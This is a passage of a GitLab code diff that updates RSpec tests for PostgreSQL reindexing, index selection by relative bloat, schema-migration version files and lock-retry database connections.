+ klass.prepend(described_class)
+
+ klass
+ end
+
+ let(:instance) { instance_class.new }
+
+ it 'calls SchemaMigrations load_all' do
+ connection = double('connection')
+ allow(instance).to receive(:connection).and_return(connection)
+
+ expect(instance).to receive(:original_structure_load).ordered
+ expect(Gitlab::Database::SchemaMigrations).to receive(:load_all).with(connection).ordered
+
+ instance.structure_load
+ end
+end
diff --git a/spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb b/spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb
deleted file mode 100644
index d9077969003..00000000000
--- a/spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb
+++ /dev/null
@@ -1,303 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Database::Reindexing::ConcurrentReindex, '#perform' do
- subject { described_class.new(index, logger: logger) }
-
- let(:table_name) { '_test_reindex_table' }
- let(:column_name) { '_test_column' }
- let(:index_name) { '_test_reindex_index' }
- let(:index) { instance_double(Gitlab::Database::PostgresIndex, indexrelid: 42, name: index_name, schema: 'public', tablename: table_name, partitioned?: false, unique?: false, exclusion?: false, expression?: false, definition: 'CREATE INDEX _test_reindex_index ON public._test_reindex_table USING btree (_test_column)') }
- let(:logger) { double('logger', debug: nil, info: nil, error: nil ) }
- let(:connection) { ActiveRecord::Base.connection }
-
- before do
- connection.execute(<<~SQL)
- CREATE TABLE #{table_name} (
- id serial NOT NULL PRIMARY KEY,
- #{column_name} integer NOT NULL);
-
- CREATE INDEX #{index.name} ON #{table_name} (#{column_name});
- SQL
- end
-
- context 'when the index is unique' do
- before do
- allow(index).to receive(:unique?).and_return(true)
- end
-
- it 'raises an error' do
- expect do
- subject.perform
- end.to raise_error(described_class::ReindexError, /UNIQUE indexes are currently not supported/)
- end
- end
-
- context 'when the index is partitioned' do
- before do
- allow(index).to receive(:partitioned?).and_return(true)
- end
-
- it 'raises an error' do
- expect do
- subject.perform
- end.to raise_error(described_class::ReindexError, /partitioned indexes are currently not supported/)
- end
- end
-
- context 'when the index serves an exclusion constraint' do
- before do
- allow(index).to receive(:exclusion?).and_return(true)
- end
-
- it 'raises an error' do
- expect do
- subject.perform
- end.to raise_error(described_class::ReindexError, /indexes serving an exclusion constraint are currently not supported/)
- end
- end
-
- context 'when the index is a lingering temporary index from a previous reindexing run' do
- context 'with the temporary index prefix' do
- let(:index_name) { 'tmp_reindex_something' }
-
- it 'raises an error' do
- expect do
- subject.perform
- end.to raise_error(described_class::ReindexError, /left-over temporary index/)
- end
- end
-
- context 'with the replaced index prefix' do
- let(:index_name) { 'old_reindex_something' }
-
- it 'raises an error' do
- expect do
- subject.perform
- end.to raise_error(described_class::ReindexError, /left-over temporary index/)
- end
- end
- end
-
- context 'replacing the original index with a rebuilt copy' do
- let(:replacement_name) { 'tmp_reindex_42' }
- let(:replaced_name) { 'old_reindex_42' }
-
- let(:create_index) { "CREATE INDEX CONCURRENTLY #{replacement_name} ON public.#{table_name} USING btree (#{column_name})" }
- let(:drop_index) do
- <<~SQL
- DROP INDEX CONCURRENTLY
- IF EXISTS "public"."#{replacement_name}"
- SQL
- end
-
- let!(:original_index) { find_index_create_statement }
-
- it 'integration test: executing full index replacement without mocks' do
- allow(connection).to receive(:execute).and_wrap_original do |method, sql|
- method.call(sql.sub(/CONCURRENTLY/, ''))
- end
-
- subject.perform
-
- check_index_exists
- end
-
- context 'mocked specs' do
- before do
- allow(subject).to receive(:connection).and_return(connection)
- allow(connection).to receive(:execute).and_call_original
- end
-
- it 'replaces the existing index with an identical index' do
- expect(connection).to receive(:execute).with('SET statement_timeout TO \'32400s\'')
-
- expect_to_execute_concurrently_in_order(create_index)
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
- end
-
- expect_index_rename(index.name, replaced_name)
- expect_index_rename(replacement_name, index.name)
- expect_index_rename(replaced_name, replacement_name)
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: false).and_yield
- end
-
- expect_to_execute_concurrently_in_order(drop_index)
-
- subject.perform
-
- check_index_exists
- end
-
- context 'for expression indexes' do
- before do
- allow(index).to receive(:expression?).and_return(true)
- end
-
- it 'rebuilds table statistics before dropping the original index' do
- expect(connection).to receive(:execute).with('SET statement_timeout TO \'32400s\'')
-
- expect_to_execute_concurrently_in_order(create_index)
-
- expect_to_execute_concurrently_in_order(<<~SQL)
- ANALYZE "#{index.schema}"."#{index.tablename}"
- SQL
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
- end
-
- expect_index_rename(index.name, replaced_name)
- expect_index_rename(replacement_name, index.name)
- expect_index_rename(replaced_name, replacement_name)
-
- expect_index_drop(drop_index)
-
- subject.perform
-
- check_index_exists
- end
- end
-
- context 'when a dangling index is left from a previous run' do
- before do
- connection.execute("CREATE INDEX #{replacement_name} ON #{table_name} (#{column_name})")
- end
-
- it 'replaces the existing index with an identical index' do
- expect_index_drop(drop_index)
- expect_to_execute_concurrently_in_order(create_index)
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
- end
-
- expect_index_rename(index.name, replaced_name)
- expect_index_rename(replacement_name, index.name)
- expect_index_rename(replaced_name, replacement_name)
-
- expect_index_drop(drop_index)
-
- subject.perform
-
- check_index_exists
- end
- end
-
- context 'when it fails to create the replacement index' do
- it 'safely cleans up and signals the error' do
- expect(connection).to receive(:execute).with(create_index).ordered
- .and_raise(ActiveRecord::ConnectionTimeoutError, 'connect timeout')
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: false).and_yield
- end
-
- expect_to_execute_concurrently_in_order(drop_index)
-
- expect { subject.perform }.to raise_error(ActiveRecord::ConnectionTimeoutError, /connect timeout/)
-
- check_index_exists
- end
- end
-
- context 'when the replacement index is not valid' do
- it 'safely cleans up and signals the error' do
- replacement_index = double('replacement index', valid_index?: false)
- allow(Gitlab::Database::PostgresIndex).to receive(:find_by).with(schema: 'public', name: replacement_name).and_return(nil, replacement_index)
-
- expect_to_execute_concurrently_in_order(create_index)
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: false).and_yield
- end
-
- expect_to_execute_concurrently_in_order(drop_index)
-
- expect { subject.perform }.to raise_error(described_class::ReindexError, /replacement index was created as INVALID/)
-
- check_index_exists
- end
- end
-
- context 'when a database error occurs while swapping the indexes' do
- it 'safely cleans up and signals the error' do
- replacement_index = double('replacement index', valid_index?: true)
- allow(Gitlab::Database::PostgresIndex).to receive(:find_by).with(schema: 'public', name: replacement_name).and_return(nil, replacement_index)
-
- expect_to_execute_concurrently_in_order(create_index)
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
- end
-
- expect_index_rename(index.name, replaced_name).and_raise(ActiveRecord::ConnectionTimeoutError, 'connect timeout')
-
- expect_index_drop(drop_index)
-
- expect { subject.perform }.to raise_error(ActiveRecord::ConnectionTimeoutError, /connect timeout/)
-
- check_index_exists
- end
- end
-
- context 'when with_lock_retries fails to acquire the lock' do
- it 'safely cleans up and signals the error' do
- expect_to_execute_concurrently_in_order(create_index)
-
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: true)
- .and_raise(::Gitlab::Database::WithLockRetries::AttemptsExhaustedError, 'exhausted')
- end
-
- expect_index_drop(drop_index)
-
- expect { subject.perform }.to raise_error(::Gitlab::Database::WithLockRetries::AttemptsExhaustedError, /exhausted/)
-
- check_index_exists
- end
- end
- end
- end
-
- def expect_to_execute_concurrently_in_order(sql)
- # Indexes cannot be created CONCURRENTLY in a transaction. Since the tests are wrapped in transactions,
- # verify the original call but pass through the non-concurrent form.
- expect(connection).to receive(:execute).with(sql).ordered.and_wrap_original do |method, sql|
- method.call(sql.sub(/CONCURRENTLY/, ''))
- end
- end
-
- def expect_index_rename(from, to)
- expect(connection).to receive(:execute).with(<<~SQL).ordered
- ALTER INDEX "public"."#{from}"
- RENAME TO "#{to}"
- SQL
- end
-
- def expect_index_drop(drop_index)
- expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
- expect(instance).to receive(:run).with(raise_on_exhaustion: false).and_yield
- end
-
- expect_to_execute_concurrently_in_order(drop_index)
- end
-
- def find_index_create_statement
- ActiveRecord::Base.connection.select_value(<<~SQL)
- SELECT indexdef
- FROM pg_indexes
- WHERE schemaname = 'public'
- AND indexname = #{ActiveRecord::Base.connection.quote(index.name)}
- SQL
- end
-
- def check_index_exists
- expect(find_index_create_statement).to eq(original_index)
- end
-end
diff --git a/spec/lib/gitlab/database/reindexing/coordinator_spec.rb b/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
index ae6362ba812..085fd3061ad 100644
--- a/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
@@ -9,16 +9,9 @@ RSpec.describe Gitlab::Database::Reindexing::Coordinator do
describe '.perform' do
subject { described_class.new(index, notifier).perform }
- before do
- swapout_view_for_table(:postgres_indexes)
-
- allow(Gitlab::Database::Reindexing::ConcurrentReindex).to receive(:new).with(index).and_return(reindexer)
- allow(Gitlab::Database::Reindexing::ReindexAction).to receive(:create_for).with(index).and_return(action)
- end
-
let(:index) { create(:postgres_index) }
let(:notifier) { instance_double(Gitlab::Database::Reindexing::GrafanaNotifier, notify_start: nil, notify_end: nil) }
- let(:reindexer) { instance_double(Gitlab::Database::Reindexing::ConcurrentReindex, perform: nil) }
+ let(:reindexer) { instance_double(Gitlab::Database::Reindexing::ReindexConcurrently, perform: nil) }
let(:action) { create(:reindex_action, index: index) }
let!(:lease) { stub_exclusive_lease(lease_key, uuid, timeout: lease_timeout) }
@@ -26,6 +19,13 @@ RSpec.describe Gitlab::Database::Reindexing::Coordinator do
let(:lease_timeout) { 1.day }
let(:uuid) { 'uuid' }
+ before do
+ swapout_view_for_table(:postgres_indexes)
+
+ allow(Gitlab::Database::Reindexing::ReindexConcurrently).to receive(:new).with(index).and_return(reindexer)
+ allow(Gitlab::Database::Reindexing::ReindexAction).to receive(:create_for).with(index).and_return(action)
+ end
+
context 'locking' do
it 'acquires a lock while reindexing' do
expect(lease).to receive(:try_obtain).ordered.and_return(uuid)
@@ -39,7 +39,7 @@ RSpec.describe Gitlab::Database::Reindexing::Coordinator do
it 'does not perform reindexing actions if lease is not granted' do
expect(lease).to receive(:try_obtain).ordered.and_return(false)
- expect(Gitlab::Database::Reindexing::ConcurrentReindex).not_to receive(:new)
+ expect(Gitlab::Database::Reindexing::ReindexConcurrently).not_to receive(:new)
subject
end
diff --git a/spec/lib/gitlab/database/reindexing/index_selection_spec.rb b/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
index 4466679a099..ee3f2b1b415 100644
--- a/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
@@ -10,20 +10,50 @@ RSpec.describe Gitlab::Database::Reindexing::IndexSelection do
before do
swapout_view_for_table(:postgres_index_bloat_estimates)
swapout_view_for_table(:postgres_indexes)
+
+ create_list(:postgres_index, 10, ondisk_size_bytes: 10.gigabytes).each_with_index do |index, i|
+ create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 2.gigabyte * (i + 1))
+ end
end
def execute(sql)
ActiveRecord::Base.connection.execute(sql)
end
- it 'orders by highest bloat first' do
- create_list(:postgres_index, 10).each_with_index do |index, i|
- create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 1.megabyte * i)
- end
+ it 'orders by highest relative bloat first' do
+ expected = Gitlab::Database::PostgresIndex.all.sort_by(&:relative_bloat_level).reverse.map(&:name)
+
+ expect(subject.map(&:name)).to eq(expected)
+ end
+
+ it 'excludes indexes with a relative bloat level below 20%' do
+ excluded = create(
+ :postgres_index_bloat_estimate,
+ index: create(:postgres_index, ondisk_size_bytes: 10.gigabytes),
+ bloat_size_bytes: 1.9.gigabyte # 19% relative index bloat
+ )
- expected = Gitlab::Database::PostgresIndexBloatEstimate.order(bloat_size_bytes: :desc).map(&:index)
+ expect(subject).not_to include(excluded.index)
+ end
+
+ it 'excludes indexes smaller than 1 GB ondisk size' do
+ excluded = create(
+ :postgres_index_bloat_estimate,
+ index: create(:postgres_index, ondisk_size_bytes: 0.99.gigabytes),
+ bloat_size_bytes: 0.8.gigabyte
+ )
+
+ expect(subject).not_to include(excluded.index)
+ end
+
+ it 'excludes indexes larger than 100 GB ondisk size' do
+ excluded = create(
+ :postgres_index_bloat_estimate,
+ index: create(:postgres_index, ondisk_size_bytes: 101.gigabytes),
+ bloat_size_bytes: 25.gigabyte
+ )
- expect(subject).to eq(expected)
+ expect(subject).not_to include(excluded.index)
end
context 'with time frozen' do
@@ -31,20 +61,17 @@ RSpec.describe Gitlab::Database::Reindexing::IndexSelection do
freeze_time { example.run }
end
- it 'does not return indexes with reindex action in the last 7 days' do
- not_recently_reindexed = create_list(:postgres_index, 2).each_with_index do |index, i|
- create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 1.megabyte * i)
- create(:reindex_action, index: index, action_end: Time.zone.now - 7.days - 1.minute)
+ it 'does not return indexes with reindex action in the last 10 days' do
+ not_recently_reindexed = Gitlab::Database::PostgresIndex.all.each do |index|
+ create(:reindex_action, index: index, action_end: Time.zone.now - 10.days - 1.minute)
end
- create_list(:postgres_index, 2).each_with_index do |index, i|
- create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 1.megabyte * i)
+ create_list(:postgres_index, 10, ondisk_size_bytes: 10.gigabytes).each_with_index do |index, i|
+ create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 2.gigabyte * (i + 1))
create(:reindex_action, index: index, action_end: Time.zone.now)
end
- expected = Gitlab::Database::PostgresIndexBloatEstimate.where(identifier: not_recently_reindexed.map(&:identifier)).map(&:index).map(&:identifier).sort
-
- expect(subject.map(&:identifier).sort).to eq(expected)
+ expect(subject.map(&:name).sort).to eq(not_recently_reindexed.map(&:name).sort)
end
end
end
diff --git a/spec/lib/gitlab/database/reindexing/reindex_concurrently_spec.rb b/spec/lib/gitlab/database/reindexing/reindex_concurrently_spec.rb
new file mode 100644
index 00000000000..6f87475fc94
--- /dev/null
+++ b/spec/lib/gitlab/database/reindexing/reindex_concurrently_spec.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Reindexing::ReindexConcurrently, '#perform' do
+ subject { described_class.new(index, logger: logger).perform }
+
+ let(:table_name) { '_test_reindex_table' }
+ let(:column_name) { '_test_column' }
+ let(:index_name) { '_test_reindex_index' }
+ let(:index) { Gitlab::Database::PostgresIndex.by_identifier("public.#{iname(index_name)}") }
+ let(:logger) { double('logger', debug: nil, info: nil, error: nil ) }
+ let(:connection) { ActiveRecord::Base.connection }
+
+ before do
+ connection.execute(<<~SQL)
+ CREATE TABLE #{table_name} (
+ id serial NOT NULL PRIMARY KEY,
+ #{column_name} integer NOT NULL);
+
+ CREATE INDEX #{index_name} ON #{table_name} (#{column_name});
+ SQL
+ end
+
+ context 'when the index serves an exclusion constraint' do
+ before do
+ allow(index).to receive(:exclusion?).and_return(true)
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(described_class::ReindexError, /indexes serving an exclusion constraint are currently not supported/)
+ end
+ end
+
+ context 'when attempting to reindex an expression index' do
+ before do
+ allow(index).to receive(:expression?).and_return(true)
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(described_class::ReindexError, /expression indexes are currently not supported/)
+ end
+ end
+
+ context 'when the index is a dangling temporary index from a previous reindexing run' do
+ context 'with the temporary index prefix' do
+ let(:index_name) { '_test_reindex_index_ccnew' }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(described_class::ReindexError, /left-over temporary index/)
+ end
+ end
+
+ context 'with the temporary index prefix with a counter' do
+ let(:index_name) { '_test_reindex_index_ccnew1' }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(described_class::ReindexError, /left-over temporary index/)
+ end
+ end
+ end
+
+ it 'recreates the index using REINDEX with a long statement timeout' do
+ expect_to_execute_in_order(
+ "SET statement_timeout TO '32400s'",
+ "REINDEX INDEX CONCURRENTLY \"public\".\"#{index.name}\"",
+ "RESET statement_timeout"
+ )
+
+ subject
+ end
+
+ context 'with dangling indexes matching TEMPORARY_INDEX_PATTERN, i.e. /some\_index\_ccnew(\d)*/' do
+ before do
+ # dangling indexes
+ connection.execute("CREATE INDEX #{iname(index_name, '_ccnew')} ON #{table_name} (#{column_name})")
+ connection.execute("CREATE INDEX #{iname(index_name, '_ccnew2')} ON #{table_name} (#{column_name})")
+
+ # Unrelated index - don't drop
+ connection.execute("CREATE INDEX some_other_index_ccnew ON #{table_name} (#{column_name})")
+ end
+
+ shared_examples_for 'dropping the dangling index' do
+ it 'drops the dangling indexes while controlling lock_timeout' do
+ expect_to_execute_in_order(
+ # Regular index rebuild
+ "SET statement_timeout TO '32400s'",
+ "REINDEX INDEX CONCURRENTLY \"public\".\"#{index_name}\"",
+ "RESET statement_timeout",
+ # Drop _ccnew index
+ "SET lock_timeout TO '60000ms'",
+ "DROP INDEX CONCURRENTLY IF EXISTS \"public\".\"#{iname(index_name, '_ccnew')}\"",
+ "RESET idle_in_transaction_session_timeout; RESET lock_timeout",
+ # Drop _ccnew2 index
+ "SET lock_timeout TO '60000ms'",
+ "DROP INDEX CONCURRENTLY IF EXISTS \"public\".\"#{iname(index_name, '_ccnew2')}\"",
+ "RESET idle_in_transaction_session_timeout; RESET lock_timeout"
+ )
+
+ subject
+ end
+ end
+
+ context 'with normal index names' do
+ it_behaves_like 'dropping the dangling index'
+ end
+
+ context 'with index name at 63 character limit' do
+ let(:index_name) { 'a' * 63 }
+
+ before do
+ # Another unrelated index - don't drop
+ extra_index = index_name[0...55]
+ connection.execute("CREATE INDEX #{extra_index}_ccnew ON #{table_name} (#{column_name})")
+ end
+
+ it_behaves_like 'dropping the dangling index'
+ end
+ end
+
+ def iname(name, suffix = '')
+ "#{name[0...63 - suffix.size]}#{suffix}"
+ end
+
+ def expect_to_execute_in_order(*queries)
+ # Indexes cannot be created CONCURRENTLY in a transaction. Since the tests are wrapped in transactions,
+ # verify the original call but pass through the non-concurrent form.
+ queries.each do |query|
+ expect(connection).to receive(:execute).with(query).ordered.and_wrap_original do |method, sql|
+ method.call(sql.sub(/CONCURRENTLY/, ''))
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/reindexing_spec.rb b/spec/lib/gitlab/database/reindexing_spec.rb
index b2f038e8b62..8aff99544ca 100644
--- a/spec/lib/gitlab/database/reindexing_spec.rb
+++ b/spec/lib/gitlab/database/reindexing_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe Gitlab::Database::Reindexing do
it 'retrieves regular indexes that are no left-overs from previous runs' do
result = double
- expect(Gitlab::Database::PostgresIndex).to receive_message_chain('regular.where.not_match.not_match').with(no_args).with('NOT expression').with('^tmp_reindex_').with('^old_reindex_').and_return(result)
+ expect(Gitlab::Database::PostgresIndex).to receive_message_chain('not_match.reindexing_support').with('\_ccnew[0-9]*$').with(no_args).and_return(result)
expect(subject).to eq(result)
end
diff --git a/spec/lib/gitlab/database/schema_migrations/context_spec.rb b/spec/lib/gitlab/database/schema_migrations/context_spec.rb
new file mode 100644
index 00000000000..f3bed9b40d6
--- /dev/null
+++ b/spec/lib/gitlab/database/schema_migrations/context_spec.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::SchemaMigrations::Context do
+ let(:connection) { ActiveRecord::Base.connection }
+
+ let(:context) { described_class.new(connection) }
+
+ describe '#schema_directory' do
+ it 'returns db/schema_migrations' do
+ expect(context.schema_directory).to eq(File.join(Rails.root, 'db/schema_migrations'))
+ end
+
+ context 'multiple databases' do
+ let(:connection) { Ci::BaseModel.connection }
+
+ it 'returns a directory path that is database specific' do
+ skip_if_multiple_databases_not_setup
+
+ expect(context.schema_directory).to eq(File.join(Rails.root, 'db/ci_schema_migrations'))
+ end
+ end
+ end
+
+ describe '#versions_to_create' do
+ before do
+ allow(connection).to receive_message_chain(:schema_migration, :all_versions).and_return(migrated_versions)
+
+ migrations_struct = Struct.new(:version)
+ migrations = file_versions.map { |version| migrations_struct.new(version) }
+ allow(connection).to receive_message_chain(:migration_context, :migrations).and_return(migrations)
+ end
+
+ let(:version1) { '20200123' }
+ let(:version2) { '20200410' }
+ let(:version3) { '20200602' }
+ let(:version4) { '20200809' }
+
+ let(:migrated_versions) { file_versions }
+ let(:file_versions) { [version1, version2, version3, version4] }
+
+ context 'migrated versions is the same as migration file versions' do
+ it 'returns migrated versions' do
+ expect(context.versions_to_create).to eq(migrated_versions)
+ end
+ end
+
+ context 'migrated versions is subset of migration file versions' do
+ let(:migrated_versions) { [version1, version2] }
+
+ it 'returns migrated versions' do
+ expect(context.versions_to_create).to eq(migrated_versions)
+ end
+ end
+
+ context 'migrated versions is superset of migration file versions' do
+ let(:migrated_versions) { file_versions + ['20210809'] }
+
+ it 'returns file versions' do
+ expect(context.versions_to_create).to eq(file_versions)
+ end
+ end
+
+ context 'migrated versions has slightly different versions to migration file versions' do
+ let(:migrated_versions) { [version1, version2, version3, version4, '20210101'] }
+ let(:file_versions) { [version1, version2, version3, version4, '20210102'] }
+
+ it 'returns the common set' do
+ expect(context.versions_to_create).to eq([version1, version2, version3, version4])
+ end
+ end
+ end
+
+ def skip_if_multiple_databases_not_setup
+ skip 'Skipping because multiple databases not set up' unless Gitlab::Database.has_config?(:ci)
+ end
+end
diff --git a/spec/lib/gitlab/database/schema_migrations/migrations_spec.rb b/spec/lib/gitlab/database/schema_migrations/migrations_spec.rb
new file mode 100644
index 00000000000..8be776fdb88
--- /dev/null
+++ b/spec/lib/gitlab/database/schema_migrations/migrations_spec.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::SchemaMigrations::Migrations do
+ let(:connection) { ApplicationRecord.connection }
+ let(:context) { Gitlab::Database::SchemaMigrations::Context.new(connection) }
+
+ let(:migrations) { described_class.new(context) }
+
+ describe '#touch_all' do
+ let(:version1) { '20200123' }
+ let(:version2) { '20200410' }
+ let(:version3) { '20200602' }
+ let(:version4) { '20200809' }
+
+ let(:relative_schema_directory) { 'db/schema_migrations' }
+
+ it 'creates a file containing a checksum for each version with a matching migration' do
+ Dir.mktmpdir do |tmpdir|
+ schema_directory = Pathname.new(tmpdir).join(relative_schema_directory)
+ FileUtils.mkdir_p(schema_directory)
+
+ old_version_filepath = schema_directory.join('20200101')
+ FileUtils.touch(old_version_filepath)
+
+ expect(File.exist?(old_version_filepath)).to be(true)
+
+ allow(context).to receive(:schema_directory).and_return(schema_directory)
+ allow(context).to receive(:versions_to_create).and_return([version1, version2])
+
+ migrations.touch_all
+
+ expect(File.exist?(old_version_filepath)).to be(false)
+
+ [version1, version2].each do |version|
+ version_filepath = schema_directory.join(version)
+ expect(File.exist?(version_filepath)).to be(true)
+
+ hashed_value = Digest::SHA256.hexdigest(version)
+ expect(File.read(version_filepath)).to eq(hashed_value)
+ end
+
+ [version3, version4].each do |version|
+ version_filepath = schema_directory.join(version)
+ expect(File.exist?(version_filepath)).to be(false)
+ end
+ end
+ end
+ end
+
+ describe '#load_all' do
+ before do
+ allow(migrations).to receive(:version_filenames).and_return(filenames)
+ end
+
+ context 'when there are no version files' do
+ let(:filenames) { [] }
+
+ it 'does nothing' do
+ expect(connection).not_to receive(:quote_string)
+ expect(connection).not_to receive(:execute)
+
+ migrations.load_all
+ end
+ end
+
+ context 'when there are version files' do
+ let(:filenames) { %w[123 456 789] }
+
+ it 'inserts the missing versions into schema_migrations' do
+ filenames.each do |filename|
+ expect(connection).to receive(:quote_string).with(filename).and_return(filename)
+ end
+
+ expect(connection).to receive(:execute).with(<<~SQL)
+ INSERT INTO schema_migrations (version)
+ VALUES ('123'),('456'),('789')
+ ON CONFLICT DO NOTHING
+ SQL
+
+ migrations.load_all
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/schema_version_files_spec.rb b/spec/lib/gitlab/database/schema_version_files_spec.rb
deleted file mode 100644
index c3b3ae0a07f..00000000000
--- a/spec/lib/gitlab/database/schema_version_files_spec.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Database::SchemaVersionFiles do
- describe '.touch_all' do
- let(:version1) { '20200123' }
- let(:version2) { '20200410' }
- let(:version3) { '20200602' }
- let(:version4) { '20200809' }
- let(:relative_schema_directory) { 'db/schema_migrations' }
- let(:relative_migrate_directory) { 'db/migrate' }
- let(:relative_post_migrate_directory) { 'db/post_migrate' }
-
- it 'creates a file containing a checksum for each version with a matching migration' do
- Dir.mktmpdir do |tmpdir|
- schema_directory = Pathname.new(tmpdir).join(relative_schema_directory)
- migrate_directory = Pathname.new(tmpdir).join(relative_migrate_directory)
- post_migrate_directory = Pathname.new(tmpdir).join(relative_post_migrate_directory)
-
- FileUtils.mkdir_p(migrate_directory)
- FileUtils.mkdir_p(post_migrate_directory)
- FileUtils.mkdir_p(schema_directory)
-
- migration1_filepath = migrate_directory.join("#{version1}_migration.rb")
- FileUtils.touch(migration1_filepath)
-
- migration2_filepath = post_migrate_directory.join("#{version2}_post_migration.rb")
- FileUtils.touch(migration2_filepath)
-
- old_version_filepath = schema_directory.join('20200101')
- FileUtils.touch(old_version_filepath)
-
- expect(File.exist?(old_version_filepath)).to be(true)
-
- allow(described_class).to receive(:schema_directory).and_return(schema_directory)
- allow(described_class).to receive(:migration_directories).and_return([migrate_directory, post_migrate_directory])
-
- described_class.touch_all([version1, version2, version3, version4])
-
- expect(File.exist?(old_version_filepath)).to be(false)
- [version1, version2].each do |version|
- version_filepath = schema_directory.join(version)
- expect(File.exist?(version_filepath)).to be(true)
-
- hashed_value = Digest::SHA256.hexdigest(version)
- expect(File.read(version_filepath)).to eq(hashed_value)
- end
-
- [version3, version4].each do |version|
- version_filepath = schema_directory.join(version)
- expect(File.exist?(version_filepath)).to be(false)
- end
- end
- end
- end
-
- describe '.load_all' do
- let(:connection) { double('connection') }
-
- before do
- allow(described_class).to receive(:connection).and_return(connection)
- allow(described_class).to receive(:find_version_filenames).and_return(filenames)
- end
-
- context 'when there are no version files' do
- let(:filenames) { [] }
-
- it 'does nothing' do
- expect(connection).not_to receive(:quote_string)
- expect(connection).not_to receive(:execute)
-
- described_class.load_all
- end
- end
-
- context 'when there are version files' do
- let(:filenames) { %w[123 456 789] }
-
- it 'inserts the missing versions into schema_migrations' do
- filenames.each do |filename|
- expect(connection).to receive(:quote_string).with(filename).and_return(filename)
- end
-
- expect(connection).to receive(:execute).with(<<~SQL)
- INSERT INTO schema_migrations (version)
- VALUES ('123'),('456'),('789')
- ON CONFLICT DO NOTHING
- SQL
-
- described_class.load_all
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/database/with_lock_retries_outside_transaction_spec.rb b/spec/lib/gitlab/database/with_lock_retries_outside_transaction_spec.rb
index e93d8ab590d..ff8e76311ae 100644
--- a/spec/lib/gitlab/database/with_lock_retries_outside_transaction_spec.rb
+++ b/spec/lib/gitlab/database/with_lock_retries_outside_transaction_spec.rb
@@ -37,8 +37,10 @@ RSpec.describe Gitlab::Database::WithLockRetriesOutsideTransaction do
context 'when lock retry is enabled' do
let(:lock_fiber) do
Fiber.new do
+ configuration = ActiveRecordSecond.configurations.find_db_config(Rails.env).configuration_hash
+
# Initiating a second DB connection for the lock
- conn = ActiveRecordSecond.establish_connection(Rails.configuration.database_configuration[Rails.env]).connection
+ conn = ActiveRecordSecond.establish_connection(configuration).connection
conn.transaction do
conn.execute("LOCK TABLE #{Project.table_name} in exclusive mode")
diff --git a/spec/lib/gitlab/database/with_lock_retries_spec.rb b/spec/lib/gitlab/database/with_lock_retries_spec.rb
index df2c506e163..367f793b117 100644
--- a/spec/lib/gitlab/database/with_lock_retries_spec.rb
+++ b/spec/lib/gitlab/database/with_lock_retries_spec.rb
@@ -37,8 +37,10 @@ RSpec.describe Gitlab::Database::WithLockRetries do
context 'when lock retry is enabled' do
let(:lock_fiber) do
Fiber.new do
+ configuration = ActiveRecordSecond.configurations.find_db_config(Rails.env).configuration_hash
+
# Initiating a second DB connection for the lock
- conn = ActiveRecordSecond.establish_connection(Rails.configuration.database_configuration[Rails.env]).connection
+ conn = ActiveRecordSecond.establish_connection(configuration).connection
conn.transaction do
conn.execute("LOCK TABLE #{Project.table_name} in exclusive mode")
diff --git a/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb b/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
index e70b34d6557..2740664d200 100644
--- a/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
+++ b/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
@@ -56,10 +56,10 @@ RSpec.describe Gitlab::DatabaseImporters::InstanceAdministrators::CreateGroup do
it "tracks successful install" do
expect(::Gitlab::Tracking).to receive(:event).with(
- 'instance_administrators_group', 'group_created'
+ 'instance_administrators_group', 'group_created', namespace: group
)
- result
+ subject.execute
end
it 'creates group' do
